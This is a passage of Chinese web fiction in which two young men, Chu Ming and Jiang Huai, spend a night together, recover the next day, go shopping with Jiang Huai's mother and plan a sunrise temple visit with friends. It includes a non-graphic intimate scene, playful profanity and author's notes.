暗淡的光线里楚明凝神,能看到他眉头轻蹙,嘴唇随着胸膛起伏而微微张合。 江淮小幅度地偏过眼眸,哑声:“楚明。” “嗯?”楚明声音发沉, 看向他。 江淮的呼吸带着颤意,“我来……” “来个屁,”否决之后,楚明的语气立刻温和下来,他指腹摁了摁江淮被扣在一起的手腕腕骨,轻声说:“或者这样,你试着挣开我的手,能挣开我就让你来,公平吧?” 楚明的手压在江淮手腕。 腕间跳动的脉搏清晰地传出,楚明感觉到的生命尤为有力。 楚明见他毫不犹豫地试着在绕腕,迫切地想要挣开,他有些无奈,轻笑着提醒他说:“哎,动手就行,不要乱发力,听到没?” 说着他还轻轻地松了点压他手腕的力,他是真挺怕江淮傻逼地乱用劲儿,就像刚才那样,为了撞开他不管不顾,毫无威胁不说,还容易拉扯到他自己,会很痛。 江淮眼眸里含了些润泽的水光,齿间溢出一声骂:“操……” 很神奇,他不能完全控制住自己,抬手曲腿,连调动腰腹力量的能力都有所受限。 楚明眼神温柔地看着他,夜色弥漫里,江淮低低的骂语还响在耳畔,他轻声询问:“……嗯?我还能不能继续?” 江淮仰了下头,一口咬在他下颌,艰难地挤出一声:“我他妈没骂你。” “嗯,”楚明点点头:“听到了。” 楚明极有耐心,不知道断断续续地问了他多少次,江淮突然狠地咬了口他脖子。 哑然的声音里带着充足的怨气,他咬牙切齿地说:“早他妈可以了……” “是吗?”楚明简单判断了下,认可地点点头,稍微停顿后他的指尖便探向旁边的小盒子,柔声问:“那,你来我来?” 江淮毫不犹豫:“我。” 楚明轻顿,垂眸:“你知道我在问什么吗?”都怪他一直在让江淮放松,神经都跟着放松散了,现在问什么江淮脑子里都想着上他。 江淮指尖动了动,“嗯?”楚明跪在他旁边垂眼拆包装,手腕上的束缚没了,他轻松地活动了两圈,精力像是尽数回笼,他自信地挑了下眉,说:“你不是才示范了一遍?现在我会了。” 就像之前每次做题,他的学习进度赶不上楚明,一般来讲遇到新题型都是一起看题,楚明先讲他再做……不知不觉间很多事情好像都延续了这一程序。 他对此也习以为常。 “……”对此楚明实在不想多说。 他俯身吻住江淮,和方才不同,这会儿要轻柔温和得多。江淮舒服得眯起眼睛,本能地仰头迎了过去,下颌连着修长的脖颈绷出流畅而漂亮的线条。 思考已然被抛诸脑外,唇齿间不自觉泄出的哼声让相贴的肌肤逐渐升温。 心跳声像鼓点,每次落下都荡开一圈圈细小的声波。 楚明手心撑在他耳边,唇温慢慢向下染去,呼吸像风般轻轻游过,他掌心慢慢抚过温热的侧腰,最后紧紧扣在江淮腰下。 他微微偏过头,热息回落到江淮颈间时,他将指尖夹到的小袋子磕绊着地撕开。 …… 视线朦胧中晃荡,热意烧得呼吸发烫。 像雨点滴落,低沉的喘息落进耳膜,泛出细微的痒意。 江淮意识飘沉,手指几乎要嵌进楚明腰间的肉里,带出一道道清晰而刺眼的抓痕。 ……他拧了下眉,下意识弓腰往外逃时,楚明扣住他肩头往回带了一下,毫不犹豫地将他重新压了回去。 …… “楚明,”江淮偏了下头,热浪还未退散,他声音显得沙哑:“过来。” “嗯?”楚明轻喘着捏了捏他的手,向他靠去。 江淮的手探索着摸到他的腰,翻身狠狠地拦腰抱住。他还没完全缓过来,窝在楚明怀里,下巴贴着他侧颈,热气从唇间溢出,但始终没听到他说话。 “怎么了?很难受吗?”楚明回抱住他,轻轻吻在他嘴角。 “不是。”江淮喉结轻滚,他伸手,手心兜住楚明的后脑勺朝自己扣来。 “嗯?”楚明直觉他有话要说,附耳过去:“要说什么?或者想让我做什么?” 江淮微微虚浮的声音里语气却非常强硬:“趴着。” 楚明:“……” 他很轻地笑了声,把江淮抱得更紧时,轻声说:“今天不了,先去洗澡。” 江淮摇了摇头以示自己不想听,双手搂紧楚明的脖子,向他吻去时长腿一跨,翻到楚明腰腹上坐去。 楚明愣了一下,刚才有一些还没来得及清理干净,这会儿江淮坐下来时他连忙说道:“别闹了,先去洗澡,江淮。” “不,”江淮没管,以一种他不在上誓不罢休的态度,从被自己胡乱打倒的一堆小袋子里摸过时急匆匆地咬住他脖颈。 楚明嘶了一声。 他偏过头,等江淮咬够了移开些许时,身手利落地肘落江淮撑在他耳边的手臂,支点消散,力气散开,江淮猝不及防地趴倒在他身上,还没找到发力点便被楚明扣住腰迅速扳倒。 眼前闪过一堆零碎的光点,江淮脑袋有些发晕。 反应过来时指尖夹着的袋子已经易主,楚明垂眸看着他,咬住袋子边缘撕开,俯身贴紧时无奈地说了句:“你真能折腾啊。” …… 半拉着的窗帘泄出清晨的一缕金光,照在床尾白净的一双脚踝,微亮的光线里,脚腕间的红痕似乎褪了些,没有起初那么扎眼。 江淮指尖动了下,鼻尖似乎嗅到点儿阳光的气息,他卷抱住手里的柔软,收紧时才意识到这是床薄被,不是楚明。 他一头埋进去,手伸出去胡乱地摸索着,习惯性去点点楚明,让他起床。 但手指游荡过的地方却是微微凉的空荡。? 江淮从被子里抬眼,被光线刺到,他眯了下眼,偏开些许看清了旁边的光景。 假期以来楚明少见地比他先起床,他拧了下眉,喊道:“楚明?” 才开口他就震惊地闭上了嘴,嗓音跟发烧三十九度八的嗓子完全没差,哑得像喉管被磨过似的。 门被轻地敲了下,楚明端着温水走进来,坐到床边顺了顺他的头发:“我刚到门口就听你叫我,不舒服吗?” 江淮摇摇头,他只是用嗓有点过度。 微微俯身凑到水杯边沿,就着楚明的手他抿了两口温水,润完嗓子才说:“你什么时候起的?” “没多久,”楚明刻意隐瞒了小两个钟头,指腹轻轻捻掉他嘴角的水渍,说:“也就十多分钟。起来吃点东西?” “嗯。”江淮点了点头。 掀开薄被,看清身上规规整整套着的睡衣,江淮挑了下眉:“我昨晚还自己穿了衣服?这么牛逼。” 他记得昨晚自己困得满地乱爬,不知道怎么进的浴室,也不知道怎么爬回床上的……体能大量消耗褪黑素疯狂分泌的情况下,他居然还能衣服是衣服裤子是裤子地给自己套身睡衣! “我……”楚明欲言又止,他点了点头:“嗯,你牛逼。” 他单膝跪到床边,伸手把薄被薅来抖了抖,叠好。 旁边江淮轻地曲腿坐直,才醒,神经并不敏感,他习惯性长腿一抬往床下翻去,脚还没落地,突然腿一软他没站稳,控制不住地倒回床上,深深地拧了下眉:“操。” 楚明连忙看去:“你……我扶你?” “不要,”江淮手指收紧,慢慢吐出一口气去缓解那一瞬间的痛觉,抬头看着天花板有片刻的怔愣。 什么鬼?有种被劈开了的感觉。 楚明坐到他旁边:“想问什么?” 江淮眼睫缓慢地眨了眨,他看向楚明:“昨晚……” 后知后觉貌似散开的记忆尽数回笼,昏黑里楚明粗重的呼吸、微燥的汗滴……回忆与现实共感,他隐隐感觉倒着翻涌出一阵微妙的痛感。 操?难道不是我在上面? “怎么了?”楚明伸手在他眼前晃了晃,企图招回他的注意力:“难受吗?” 江淮恶狠狠地看着他。 “嗯?”楚明捏了捏他的手,以为他是不好意思说,便轻轻地点了下头:“我知道了,我晚点给你……” 江淮呵止他:“闭嘴!” 楚明:“……”脾气依旧,不愧是江淮。 他轻轻地在心底叹了声气,手臂钻到他膝弯,把人打横抱起来时,贴着他耳垂说:“本来昨晚只有一次的。” 江淮抱他稳住自己,“嗯?” “但,你实在太能折腾了。”楚明说,即使没有外人他声音也放得很低,像是密语:“所以难受也是……正常的。” 江淮拧了下眉:“谁他妈跟你说我难受!” 楚明垂眸看着他:“那你是在?” 江淮别开眼,只字不语。 “好吧,”楚明笑笑:“那去洗漱,晚点粥要凉了。” 今天准备的早餐比较清淡——也不能算早餐,已经中午了,楚明起来时见江淮睡得正沉,本想出去买点菜,但遇到家新开的海鲜粥店。 温和营养易消化,他当即就打包了两份。 一直温着等江淮起床来吃。 从厕所出来,江淮伸懒腰都是稍微收着点的,鼻尖嗅了嗅鲜粥的味道,他轻挑眉,正要说好香,余光就瞥见自己的位置上多了张……软垫。 他轻顿:“楚明。” “嗯?”楚明收拾好勺子出来就撞上他微凉的眼神:“干嘛?” 江淮夺过他手里的勺子,忍着痛一屁股坐到楚明的位置,若无其事地说:“你坐过去。” 楚明:“……”江大面子!—— 作者有话说:一首《最后的倔强》送给江淮[抱拳] 第96章 第 96 章 “你怎么这么有趣?”…… “小心烫, ”楚明在碗里搅了搅,轻顿:“好像有点稠,还吃得惯吗?” “嗯, ”江淮点点头:“挺好吃的。”说完他挑了下眉:“这粥你熬了多久?” 楚明如实说:“楼下买的, 一直温着。” “哦,”江淮没继续问粥能温这么稠那你什么时候起的床,微微扶额,感叹了句自己居然会比楚明晚那么久才起床, 想到这儿他不悦地拧了下眉。 “怎么了?”楚明看着他, 立刻问道:“哪不舒服?” 江淮啧了一声:“你是不是除了这句就没别的问题了!” “不是,”楚明轻笑了声:“我是怕你不太适应。” 江淮:“……” 他别开眼,没好气地说:“是不太适应, 因为本来该我上你的。” “……”楚明语气温和:“我给过你机会啊。” 江淮又啧了声:“你他妈昨晚怎么压我的,现在手上的印子都没消,哪来的机会?”说着他伸出手, 手腕上还残留着鲜明的掐痕和指印, “楚明,你再说一遍?” 楚明抿唇,他伸手捏了捏他的手腕:“还疼吗?” “疼个屁, ”江淮任他捏着:“一点感觉都没有。” 楚明:“……” 他很轻地揉按着他腕骨边的皮肤, 叹了口气:“别闹脾气啊, 我还没说你往我脖子上啃的那几口, 都破皮了。” 江淮想也没想:“该的。” “嗯嗯嗯, 我该的该的,”楚明笑笑:“那你别气了行吗?” “我没气,”江淮抬手把他下巴抬起来,偏了些看着他脖颈, 锁骨偏上的颈窝里确实还留着咬痕,挺深的,现在还泛着刺眼的红,“我操,是我咬的吗?” 楚明贴了贴他的手:“嗯,不是你咬的,那是狗咬的。” 江淮:“……” 他没忍住笑了笑,指尖勾了勾他的下巴窝,轻声说:“你起来。” “嗯?”楚明站了起来:“怎么了?” 江淮冷着脸说:“我坐你的位置。” 楚明不动声色地挑了下眉,憋住笑,“好。” “不许笑,”江淮捂住他的嘴。 楚明眨了眨眼,声音从他掌心含糊地传出:“嗯嗯。” 饭后楚明清洗完碗筷,夏天室外温度高光线足,早上晾晒开的床单薄被,现在去摸已经干透了,他快速把这些和衣服一并收回。 江淮窝在沙发里看电影,抬头看了他一眼,挑了下眉:“贤惠。” 楚明:“……” 他把手里才收好的薄被扔到他手里,“盖着点,空调吹久了腿要不舒服。” “好,”江淮抱住被子,才经过烈阳炙烤,这会薄被里外都是阳光的味道,挺舒服的,他盖好,嗅了嗅,突然问道:“你洗的时候有味儿吗?” 楚明:“……” 他轻顿,看向江淮:“你是不是还没睡醒?” “醒着呢,”江淮说。 “那你问这个问题,”楚明走到他面前,揉了把他的头发:“像傻子。” 江淮:“……” “继续看吧,”楚明低头吻住他,浅尝辄止便吻在他头发尖儿上:“今天好好休息,明天我们出去一趟。” “去干嘛?”江淮双臂勾住他脖子往下压了些,没让他走,贴着他嘴唇。 “买点衣服裤子鞋。”楚明顿了下,“你妈不是说你答应了吗?” “答应个毛线,”江淮下巴搁在他颈窝里:“我现在还没碰到手机。” 楚明无奈地说:“……我猜也是这样。那明天还去吗?” “去呗,”江淮说:“随便买点,先寄一波行李过去,A大不是有托运?到时候一身轻地过去。” 楚明点点头:“好。” 江淮随便找的电影是最近才上线的,看到一半他无聊地伸伸懒腰,旁边楚明端着电脑在看线上课程,他偏过头去看了一眼:“外放,我也要听。” 楚明偏头,摘下单边耳机:“不想看了?” “没意思,”江淮按到暂停键,他说着凑到楚明肩头:“学的什么?” “简单预习一下,”楚明摸到他的手:“你暂时不要学,学完之后你学不了大一的,比较纬度碾压。现在是不是没事做?” 江淮挑了下眉:“嗯。” “那去考试,”楚明说:“忘提醒你,你还有个英语入学测试,分层用的,你要是不想再学基础的英语浪费时间,就尽量考好点。” 江淮愣了下:“我操,我忘了。” “没事,”楚明说:“还两天截止。” 于是江淮抱来电脑开始登录基础学号。 按楚明的经验来讲,这算是难度比较大的口试兼笔试,简单听完题型和考试流程他便开始做题。 楚明偏过头静静地看着他的脸,没急着戴上耳机听课,而是安静等着他的口语部分,十分钟回答两道题。 半分钟的沉默之后,江淮的声音传出。 很舒服的发音,江淮的音色本身就好听,虽说是没什么感情的一连串输出,但楚明听得很满足,他克制住想抱抱他的冲动——因为正在录像,他怕自己探颗头,下一秒屏幕就报出“违规、作弊”。 下午过得平淡而舒适。 晚上楚明对照网上的视频做了几大道补菜,热气腾腾地端到餐桌,摆好餐具才叫江淮出来吃饭。 “做这么多干嘛?”江淮坐到软垫上,抬眉:“昨晚虚亏了?” “……不是,”楚明轻顿:“给你补点营养。” 江淮瞪了他一眼:“我不需要。” 楚明叹息一声,他坐到江淮旁边,给他盛了碗山药排骨汤,搅散热气感受了下温度,才喂给他:“我没有别的意思,那你尝尝好不好喝,我第一次做。” 江淮垂下眼皮,看了眼汤。 汤白而鲜,熬得浓郁,但食材不多,也不会太腻。他张嘴含住汤匙,抿尝了下,轻声说:“好喝。” “那你多喝几口,”说着楚明又舀了一大勺,哄着他:“冷了就不好喝了,还浪费。” 江淮啧了一声,他偏了些绕开汤匙,直接咬着汤碗碗沿把大半碗汤都喝掉。 楚明把勺子里的喝掉,放下碗勺时笑着擦掉他嘴角的汤渍:“少侠好功力。” 江淮笑了笑:“你真是有点毛病。” “再尝块排骨,”楚明两手各拿一根筷子,灵活地把肉脱骨,排骨炖得软烂,挺好脱的,他夹着肉,抬了抬下巴:“来,张嘴。” “又来?”江淮咬住,挑了下眉:“好吃。” 楚明笑笑:“我再给你剥个虾,卖虾的姐姐说虾很新鲜,肉质紧实,营养也高。”他三两下剥好,简单沾了点蘸料,喂到他嘴边:“尝尝?” “嗯。”江淮叼走虾,还不忘舔舔他的指尖,嚼完轻挑眉:“是挺鲜的。” “优质蛋白,”楚明又挑来一个大虾,边剥边说:“多吃点,别浪费。” 江淮“嗯”了一声。 在楚明半哄半喂里,这顿晚饭江淮吃了不知道多少虾吃了多少肉喝了多少汤,准备下桌的时候他皱了皱眉:“我吃得好饱,你给我喂了多少?” “不多不多,”楚明笑着勾了他的脸:“等我收拾完下去散散步消消食?” 江淮点了下头:“……嗯。” 他身体偏过去,靠在楚明身上,看他慢条斯理地开始吃饭,眉梢轻挑:“你是不是故意的?” “算是吧。”楚明说着又要给他塞口饭。 江淮歪过脑袋,嘴唇落到他脖颈,闷闷地说:“真吃不下了。” “好吧,”楚明笑了笑,他确实是故意的,不然江淮肯定因为面子不会吃太多,但补身体肯定还是更重要的。 一派收拾完,两人去小区里逛了逛。 毕业之后的暑假无聊而漫长,像是一场刻意的弥补,弥补高压而繁复的十余年苦读。 但实际上完全没有想象中那么轻松有趣——连小区里隐蔽的锻炼设施都让他俩逛到了。 “还有蝉呢,”江淮仰头看向葱郁的树脑袋:“吵得人耳朵痛。” 楚明从后捂住他耳朵,以一个后拥的姿势贴紧他:“还听得到吗?” “听得清清楚楚,”江淮仰头蹭了蹭他的脖颈:“手和耳塞的差距还是比较大的吧?” 楚明笑了笑:“那人和蝉的边界也是比较大的吧,它唱它的生命,你说它干嘛?” 闻言,江淮挑了下眉,故意说道:“你居然这么围护一只蝉?是不是等会还想爬到树上去听它唱歌?那么伟大呢蝉还能唱生命!多有情怀!” 楚明:“……” 他被逗笑了,笑半天都没缓过劲儿,手往下抱住江淮的脖子,“你怎么这么有趣?” “是吗?”江淮偏过脸躲开他的吻:“我以为你要心疼你的蝉了。” 楚明笑得身体微微发抖:“江淮,你在干嘛?” 江淮往前走着,想挣开他但被抱得更用力。 两人在树荫遮蔽的暗色小道里打闹了十多分钟,话题还没从蝉身上转开,闹到路灯下,灯光明亮,他俩对视一眼瞬间破功,抱成一团笑个不停。 “有病。” “傻逼。” 笑完他们绕过老头大妈的羽毛球区域,走到了器械区。 两根黄色单杠杵在面前,江淮仰了下头,兴味忽起,他笑着说:“比比?” “输了呢?”楚明走到他对面。 “谁输谁躺,”江淮挑了下眉:“在床上。” 楚明:“……”那实不相瞒,经过昨天晚上的事,他现在就是在这单杠上吊死都不会下来。 胜负欲一起,两人较着劲儿地做完简单的热身,楚明便先一步挂了上去,“我先?” “一起。”话落江淮也面对他吊上同一根单杠,轻挑眉,他特意把双手放到楚明的手两边,宽距引体向上总比窄距难度更大,更考验背部力量。 “啧,”楚明默了半秒,只移了右手,落到江淮的手侧,很轻地说:“别移了,再移都做不了几个。” 江淮挑了挑单边眉毛:“……我知道。” 姿势落稳之后,楚明先做了一次,而后是江淮,接续着战线被拉得很长。 一起一落之间呼吸纠缠,到后期体力都不太跟得上,微重的喘息声落在彼此耳畔。 “你下去,”江淮很轻地挑了下眉,做完一个后微喘着说:“快点。” “别耍赖啊,”楚明呼吸收紧,他短暂地停顿半秒后肘部下压,慢慢将自己拉上去,下巴过杆后他控制着速度缓缓下沉:“该你了。” 江淮啧了声,标准过程做完他却没急着下去,而是双腿灵活地勾住楚明的腿,借助手臂力量撑着自己,将楚明往下拽。 “我操,”楚明差点没稳住,反应过来时他单手落下,去扣住江淮的后背往自己这边压来。 场面、动作一度混乱,最后两人双双落地,江淮没太站稳往旁边摔去,楚明反应迅速地去拉他,哪知江淮神来一脚,楚明被绊倒,被江淮拽着一翻便后背贴地。 他痛得倒吸一口凉气。 江淮挑了下眉:“认不认输?” “认屁,”楚明没好气地说:“你耍赖啊江淮!” 江淮理直气壮地说:“那不管,昨晚你也耍赖。” “好好好,”楚明看着他,半撑着自己坐起来,和他面对面地盘腿而坐:“那刚才的耍赖我当没看见。公平计算,你最后的动作,只做了一半,总得来说我多你半个,没错吧?” 江淮眉心一压:“是吗?” “你回忆回忆呢?”楚明知道他已经想起来了,往前凑了些,认真地看着他的眼睛:“撒谎可不是好习惯。” 江淮:“……” “手给我,”楚明笑了笑:“我给你捏捏,挂这么久肯定疼。” 江淮把双手递给了他,声音小了些:“总感觉什么环节出了问题。” “嗯,”楚明揉着他的手,“可能是你才骂过蝉,蝉来报复你呢。” 江淮:“……” 他抽回双手,手心在地面一带,整个人利落地腾空,他转头就跑,嘴角勾着的笑意都没压住。 “哎!”楚明啧了声,连忙追过去,从后抱住他:“我的问题我的问题。” 江淮偏过头不理他。 楚明脑袋晃悠大半天才终于找到合适的位置,轻地亲了亲他的嘴角:“我发誓再也不提蝉了,好不好?” 看着江淮“气”得鼓鼓囊囊的,楚明实在是想笑,但又得憋住……说来也神奇,昨晚做过之后他感觉江淮格外不一样,黏了些小脾气也多了些,当然也可爱了些,他更喜欢了些。 想着他扳过江淮的脸,什么也不顾地吻住。 江淮往后靠在他的胸膛,只躲了两秒不到就转过身,勾住他脖子回吻—— 作者有话说:对不起,我是傻逼。 我以为这章就完结了,这么看来还有一章[抱拳] 我上辈子可能误以为自己是神算子挂张帆去给别人算寿命,十算十不准被乱棍打死的吧。 啧,这辈子也不给我的估算能力加点技能点!见谅啊见谅!《 》 【全文完】 第97章 第 97 章 “稀罕稀罕,稀罕得要命…… 考虑到第二天要去买些衣服鞋子, 还是吴珊陪同——吴珊总是选择在诡异的时间段请假,江淮和楚明晚上便没多折腾,早早地睡了。 早十点半, 朝阳金灿灿的, 刺眼的光芒里还不乏蓬勃的热浪。 坐在小区外的石墩子上,江淮轻轻靠在楚明的肩头,眉心下压他戳了条消息。 【狗】人呢? 昨晚打电话问过时间,吴珊说:“十点出头吧, 我今天晚上才有事。” 他倒是了解吴珊出门的习惯, 所以特地晚了半小时才下楼,但现在来看,他还是不够了解。 消息没回, 反倒是跳进一则视频通话,显示“珊姐”,江淮略带嫌弃地接通。 “你催什么催!”吴珊只有两根头发丝在屏幕里, 镜头对准的是她半边床和半块衣柜, “小楚醒了吗?孩子还年轻不睡到十二点怎么长身体?你醒了就回去睡,我打包票小楚现在还没醒,你别瞎催, 催你老娘还好, 传出去你催老婆……催男朋友像什么话!” 楚明:“……” 江淮轻顿, 他搂过楚明的脖子让他出镜, 声音淡淡地说:“他醒了。” 吴珊:“……” 她顶着张才上好底妆的脸进了屏幕, 震惊地嘴巴张成“o”型:“小楚是不是被你强行弄醒的?我印象里小楚是中午饭当早饭的那类好小孩儿啊。” 楚明有些羞愧地低了低头。 江淮在旁边笑个不停,他遮住手机镜头往楚明身上凑去,耳语道:“睡神。” “嘘,”楚明捂住他的嘴。 “干嘛呢干嘛呢!说悄悄话不捂出声孔你当你妈是聋子吗?”吴珊的脸迅速凑近屏幕:“我跟你说, 老娘听得一清二楚!” “放屁,”江淮松开手机的眼睛,看向她,说回正题:“您什么时候到?” “十多分钟吧,”士气陡然下沉,吴珊偏开头,不好意思地说道,“我很快了。”脚趾头都听得出来后半句声音小了一半不止。 江淮呵了一声:“十多分钟您要是能出门,我爸今天出门踩到的狗屎都是镶金的!” 楚明笑得不行,枕在他肩头眼睛都笑弯了。 吴珊:“……” 她“嘿”了一声:“怎么跟你妈说话呢!几天不打上房揭瓦,江淮你皮又厚了是不是!” “是个屁是,我又不是包子要什么皮薄馅多!”江淮挑眉:“还有心情来扯这些,那迟到怎么算?十点出头是指十点五十九吗?” 吴珊小心翼翼地:“……好像也不是不行,反正你爸绝对举双手支持。” 江淮“呵”了声:“这要是行,那我可怀疑我爸了。” “什么?”吴珊愣了一下,见江淮没有解答的意思,她认真地想了想……十厘米出头,按她的逻辑推……可不就是十九?意识到这话的时候吴珊老脸一红:“江淮我今天不拿鸡毛掸子拍扁你老娘不信吴!” “来来来,我只等十分钟,带着您的鸡毛掸子飞快点,我过时不候!”江淮说。 挂完电话江淮气狠狠地倒进楚明怀里:“这是什么歪理!” 楚明笑着说:“吴氏道理,简称无理。” “你……”江淮笑出了声,好一会儿才说:“走,我们换个地儿等,外面好热。” “嗯,”楚明扶住他腰后才站了起来,拉着他往街道旁的咖啡店走:“去买杯咖啡坐着等会儿吧。” 十分钟到那是不可能的。 江淮和楚明对坐着,把门店里正播放着宣传视频看了百来遍,实在太无聊他们低头跟群里几个兄弟聊天。 【阿越】明天我去寺里祈福。 【三分神】?越哥你那张脸还需要求姻缘? 【阿越】我求屁的姻缘。 【阿越】是刷到网上说低分捡漏到好大学多半透支了点什么,我一想当初不是楚明给我抢到的名额薅到的羊毛嘛,我要是不给楚明求点什么,江哥得给我揍成馒头当下酒菜。 【狗】。 【阿越】江哥你们想一起去吗?山上的寺都有点东西。 【阿越】后天我机票就走了,诶!等等,A大C大开学时间只差一天吧,你们多久的车? 【Cming】也是后天,也是机票。 【阿越】晚七点走,八点到? 【三分神】搁这对暗号呢! 【Cming】是。 【阿越】牛逼,这缘分。 “寺里祈福?”江淮挑了下眉。 “你想去吗?”楚明喝了口咖啡,“想去我们就去。”说完他给严越回了句:捡漏靠的是规则,不是其他。 “想去。”江淮说。 “好。”楚明应道:“那正好现在查查时间路线。” 咖啡喝得差不多了,吴珊才打来电话,疯狂说她马上到马上到。五六分钟后,她开着她的大坐骑——一辆帅气逼人、高大威武的猛士停到路边。 车窗降落,她伸手扶起墨镜挂到头顶:“上车!” 江淮挑眉:“怎么开的这辆?”这车实在不太适合在城市里开。 他拉开后座,先让楚明上,接着自己跟着坐进去,带上车门。 “帅啊,开起来贼拉风。”吴珊回了下头:“而且怎么撞都撞不坏,丝毫不需要担心。” 江淮:“……” 楚明:“……” “其实我是以为你们小年轻爱睡能睡睡得久,出门才稍微晚了点,有点失策哈。”吴珊笑嘻嘻地看着后视镜说:“那现在我们刚好去吃个午饭,时间规划得还不错,是吧!有什么想吃的吗?我亲爱的两位宝贝。” 江淮抬起楚明的手看了一眼表,显示时间十一点二十七分,他淡淡地说:“随便。” “那吃点清淡的吧,”楚明捏了捏他的手,消消火。 “好,好,好。”吴珊腼腆一笑,说:“夏天吃点清热解毒的,甚好甚好!我马上就订一家好吃的,为我的迟到抱歉。对不起,我的好大儿!” 江淮:“……” 楚明笑得止不住,他偏头靠在江淮肩头,蹭了蹭他的脸,小声说:“别气了。” “没气,”江淮小声地说:“我想吃肉。” 楚明笑了笑,连忙说:“阿姨,能多点份肉吗?我想吃。” “好啊好啊,”吴珊点了点头,说:“我多点几份肉,保准你们吃饱喝足!” “谢谢阿姨。”楚明说。 吃完中饭又歇了会儿,差不多一点的时候他们仨才出餐厅去逛商场。 “这套好啊,穿上有范儿!” “这套我也喜欢,儿子你把我的优点全遗传到了,怎么这么帅气!” “这套必须要,包起来!” ……如此,吴珊的热情把店内小姑娘的嘴都逗得合不拢,从这头逛到那头,江淮和楚明跟摆件似的试完这件穿那件。 楚明不太需要新添,就帮着挑。 后面实在懒得走,江淮就杵在试衣间里,拿进来什么他试什么,开始的衣服偏日常偏正式都还正常,后来江淮手指一翻见是一套腰侧连开三条粗杠的透明纱质衣服,眼前一黑:“这他妈什么店里的?” “就这家店的啊。”吴珊把手里两三件衣服烙饼似的翻了翻,问道:“穿不上还是太大了?” “哎,不好意思不好意思!”有个小姑娘连忙飞奔过来:“我刚刚好像拿混了两套衣服,抱歉抱歉,是我的失误。” 楚明轻顿,站到遮帘边,用身子遮住缝隙时手探了进去:“衣服给我,我换一件。” 江淮把衣服折叠两次才递给他。 从中午逛到晚饭前,步数至少能超三万,吴珊还没逛够,得亏临时有事加班,她这才拎着她两个好儿下到地下停车场。 开车把他们丢到小区门口她便轰隆轰隆地上路回公司。拎着大包小包回到家,楚明去厨房煮了两碗煎蛋面。 今天试太多衣服,总感觉有点脏,江淮进浴室冲完澡才出来。 湿发发尾还滴着水,江淮伸手随意抓了两下便上桌,见楚明垂眼在看他脖子,他跟着看去,肩线连着领口一带的白t尽被浸湿,他轻挑眉:“喜欢啊?” “嗯,”楚明没否认,站起身:“你先吃着。” “嗯?”江淮不明所以地看着他离开。 半分钟后楚明拿着条干毛巾走了出来,站在他身后,抬手兜住头发擦着:“很想感冒吗?” “没,”江淮夹起金黄的煎蛋,咬了一口便微微抬起,楚明会意,探头也咬了一口。江淮笑着说:“你还记得今下午我有套衣服没试吗?” “嗯。”楚明点了点头:“我没细看,是因为不喜欢吗?” “不是,”江淮微微仰头,隔着层毛巾后脑压在他腰腹,说:“那是件情趣上衣。” 楚明很轻地顿了下:“……嗯?” “穿了跟没穿一样。”江淮说完,惋惜了两秒:“现在想来,当时该买回来的。” 楚明愣住:“啊?” 江淮一本正经地说:“送给严越,正好当他的生日礼物。” 楚明:“……” 他轻叹气,手指收拢按住毛巾擦擦他耳边的头发,“江淮你幼稚死了。” “我哪里幼稚?”江淮挑了下眉,扭头看来:“怎么着,我穿给你看就是成熟了?” “……没,”楚明噎住,他生硬地转开话题:“你先吃面,要坨了。” “啧,”江淮捏住筷子,逗到人,他轻地笑了一声。 楚明压着毛巾慢慢揉了揉,时不时指尖穿过发间,感受着发丝的柔软,想到什么,他突然弯身问道:“怎么现在不让我用点力了?” “习惯了,”江淮说着给他喂了块肉:“你弄得轻其实也挺舒服的。”他偏了下头,“差不多干了吧。你坐下来吃,面真的要坨了。” “嗯嗯,”楚明用毛巾带了下他后颈上沾着的水滴,扫了扫才坐下去吃面。 晚上挑好明天要穿的衣服,他们俩靠在床头闲聊。 【阿越】刚查了一下,日出前后,诚意最足。 【阿越】走之前一起看看这座城市的日出,是不是浪漫到爆! 【狗】浪漫个鬼,起不来。 【阿越】…… 【阿越】那怎么办? 【Cming】他起得来。 【阿越】行,听楚哥的! 【阿越】那明早四点,我们白鸡山山脚不见不散。 【Cming】好。 【阿越】不是我说啊,江哥你真是越来越傻逼了。 【狗】。 【狗】滚蛋。 【阿越】我可不能滚,我滚了以后谁当你们的证婚人。 【阿越】想当年我也是第一个说破你俩关系的人吧(虽然当时楚明睡得那叫一个天昏地暗) “嗯?”楚明偏过头:“什么时候?” “三中对八中篮球赛那次,你靠我肩上睡着了。”江淮把头偏到他肩头,轻轻靠着:“不过说实话,那时候我还真没想过我们俩之间会有什么,毕竟第一次见你的时候,我是真觉得你傻逼。” “……其实你给我的印象也差不多,”楚明恍惚了一瞬:“挺神经质的。” “啧,”江淮笑了起来:“你是不知道,我来学校那天正在生我这辈子最大的气!哪来的好心情给陌生人。” “是吗?”楚明伸手捏着他的脸,在他腮帮子上亲了一口:“难怪啊。” 江淮扔掉手机:“嗯哼。” 楚明嘴唇轻勾着:“你那天可威猛了,大马猴跟你说话都哆嗦……说实话要是我是在初中遇见的你,你分分钟要被/干趴。” “放屁,”江淮说:“在我面前吹?” “没吹,”楚明捏着他:“我初中的时候也挺不管不顾的……你不知道我遇见你的时候憋得有多累,总是想骂你又不能当你面。” 江淮坐直:“还有这回事?” “嗯,”楚明飞快地勾住他脖子把他拉回来:“想起我见你的第一面,又是同桌又是病号的,我都把你当鬼看,简直是阴魂不散,我感觉不管走哪都能撞到你,就跟鬼打墙了似的……这么明显的危险,也不知道怎么想的,我居然还把你带回家了。” “啧,”江淮丢掉手机,也抱住他的腰,“你以为你就好到哪里去了吗?随便上个车,结果转头还是你!不过说来我也不知道自己怎么想的,反正是一瞬间的事,特别突然的想法,谁知道你更突然,还答应了,也不怕引狼入室。” “嗯……”楚明回忆了下说:“你哪里是狼,纯狗!我也不知道当初自己为什么会莫名其妙地跟才说上过几句话的人一起住那么久,穿我的衣服吃我的饭菜……现在想起来,稍微有点理性你就该躺楼道第二天进垃圾箱了。” “……”江淮想笑:“听着还真挺莫名其妙的。” “嗯,但凡谁长了脑子都凑不到一堆。”楚明鼻尖皱起蹭了蹭他的脸:“……还被拽着看了你的裸.体,我现在挺好奇的,你对谁都这么大方吗?” “那不是,”江淮连忙说:“我发誓,我那时候什么别的想法都没有,只是觉得你怕我怕得过分了——也许是脑子抽了吧。但本来就是啊,你给我递衣服避什么嫌,我们球队里洗澡都互相搓背的!” “不,”楚明笑得身子轻抖,“我人生中看的第一个裸.体,真的是你的。” 江淮笑说:“操……便宜你了!” 楚明跟他斗嘴:“你以为谁稀罕!” “呵,”江淮看着他的眼睛:“你不稀罕是不是?今晚你敢碰我一下,我——” 嘴立刻被堵上,楚明按着他肩头把他压到枕头上,狠狠地吻了下去:“稀罕稀罕,稀罕得要命!”- 